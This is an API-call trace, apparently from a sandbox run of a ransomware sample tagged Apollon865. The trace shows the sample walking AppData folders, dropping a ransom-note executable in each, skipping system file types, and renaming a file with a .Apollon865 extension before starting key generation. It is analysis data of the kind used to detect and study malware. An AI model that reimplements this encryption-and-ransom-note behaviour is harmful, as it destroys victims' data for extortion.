	[0037.304] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.305] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.305] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.305] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="CryptnetUrlCache" | out: lpString1="CryptnetUrlCache") returned="CryptnetUrlCache"
	[0037.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0037.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0037.305] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0037.305] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.305] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.305] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5b5270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0037.305] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.305] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0037.305] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0037.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0037.305] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 60
	[0037.305] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0037.305] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.305] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.316] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.316] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5db3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.316] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.316] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.316] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Content" | out: lpString1="Content") returned="Content"
	[0037.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0037.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599450
	[0037.316] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0037.317] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5db3d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.317] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.317] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1
	[0037.317] lstrcmpiW (lpString1="MetaData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.317] lstrcmpiW (lpString1="MetaData", lpString2="Apollon865.txt.exe") returned 1
	[0037.317] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MetaData" | out: lpString1="MetaData") returned="MetaData"
	[0037.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5994e8
	[0037.317] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.317] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0
	[0037.317] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.317] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0037.317] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0037.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0037.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.317] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned 69
	[0037.317] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0037.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.324] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.324] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.324] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.324] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.324] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0037.324] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0037.324] lstrlenW (lpString="Apollon865") returned 10
	[0037.324] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0037.324] lstrlenW (lpString=".dll") returned 4
	[0037.324] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".dll") returned 1
	[0037.325] lstrlenW (lpString=".lnk") returned 4
	[0037.325] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".lnk") returned 1
	[0037.325] lstrlenW (lpString=".ini") returned 4
	[0037.325] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".ini") returned 1
	[0037.325] lstrlenW (lpString=".sys") returned 4
	[0037.325] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".sys") returned 1
	[0037.325] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0037.325] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0037.325] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0037.325] lstrlenW (lpString="Apollon865") returned 10
	[0037.325] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0037.325] lstrlenW (lpString=".dll") returned 4
	[0037.325] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".dll") returned 1
	[0037.325] lstrlenW (lpString=".lnk") returned 4
	[0037.325] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".lnk") returned 1
	[0037.325] lstrlenW (lpString=".ini") returned 4
	[0037.325] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".ini") returned 1
	[0037.325] lstrlenW (lpString=".sys") returned 4
	[0037.325] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".sys") returned 1
	[0037.325] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0037.325] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0037.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0037.325] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 68
	[0037.325] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0037.325] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.325] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.331] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.332] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.332] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.332] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0037.332] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0037.332] lstrlenW (lpString="Apollon865") returned 10
	[0037.332] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0037.332] lstrlenW (lpString=".dll") returned 4
	[0037.332] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".dll") returned 1
	[0037.332] lstrlenW (lpString=".lnk") returned 4
	[0037.332] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".lnk") returned 1
	[0037.332] lstrlenW (lpString=".ini") returned 4
	[0037.332] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".ini") returned 1
	[0037.332] lstrlenW (lpString=".sys") returned 4
	[0037.332] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".sys") returned 1
	[0037.332] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0037.332] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0037.332] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0037.332] lstrlenW (lpString="Apollon865") returned 10
	[0037.332] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0037.332] lstrlenW (lpString=".dll") returned 4
	[0037.332] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".dll") returned 1
	[0037.332] lstrlenW (lpString=".lnk") returned 4
	[0037.332] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".lnk") returned 1
	[0037.332] lstrlenW (lpString=".ini") returned 4
	[0037.332] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".ini") returned 1
	[0037.332] lstrlenW (lpString=".sys") returned 4
	[0037.332] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".sys") returned 1
	[0037.332] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0037.332] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"
	[0037.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0037.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0037.333] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local") returned 30
	[0037.333] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local" | out: lpString1="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"
	[0037.333] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.333] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0037.333] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0037.333] GetLastError () returned 0x0
	[0037.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0037.333] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0037.333] CloseHandle (hObject=0x14c) returned 1
	[0037.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0037.333] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.333] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0f2670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0f2670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.334] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.334] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.334] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0037.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0037.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0037.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0037.334] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0037.334] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.334] lstrcmpiW (lpString1="History", lpString2="Apollon865.txt.exe") returned 1
	[0037.334] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="History" | out: lpString1="History") returned="History"
	[0037.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0037.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bc908
	[0037.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0037.334] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e0f2670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0f2670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.334] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.334] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2="Apollon865.txt.exe") returned 1
	[0037.334] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="IconCache.db" | out: lpString1="IconCache.db") returned="IconCache.db"
	[0037.334] lstrlenW (lpString="IconCache.db") returned 12
	[0037.334] lstrlenW (lpString="Apollon865") returned 10
	[0037.334] lstrcmpiW (lpString1="onCache.db", lpString2="Apollon865") returned 1
	[0037.334] lstrlenW (lpString=".dll") returned 4
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2=".dll") returned 1
	[0037.334] lstrlenW (lpString=".lnk") returned 4
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2=".lnk") returned 1
	[0037.334] lstrlenW (lpString=".ini") returned 4
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2=".ini") returned 1
	[0037.334] lstrlenW (lpString=".sys") returned 4
	[0037.334] lstrcmpiW (lpString1="IconCache.db", lpString2=".sys") returned 1
	[0037.334] lstrlenW (lpString="IconCache.db") returned 12
	[0037.335] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\IconCache.db.Apollon865") returned 54
	[0037.335] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.apollon865"), dwFlags=0x1) returned 1
	[0037.336] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x148
	[0037.336] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=776176) returned 1
	[0037.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0037.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0037.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0037.336] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0037.337] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0037.337] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
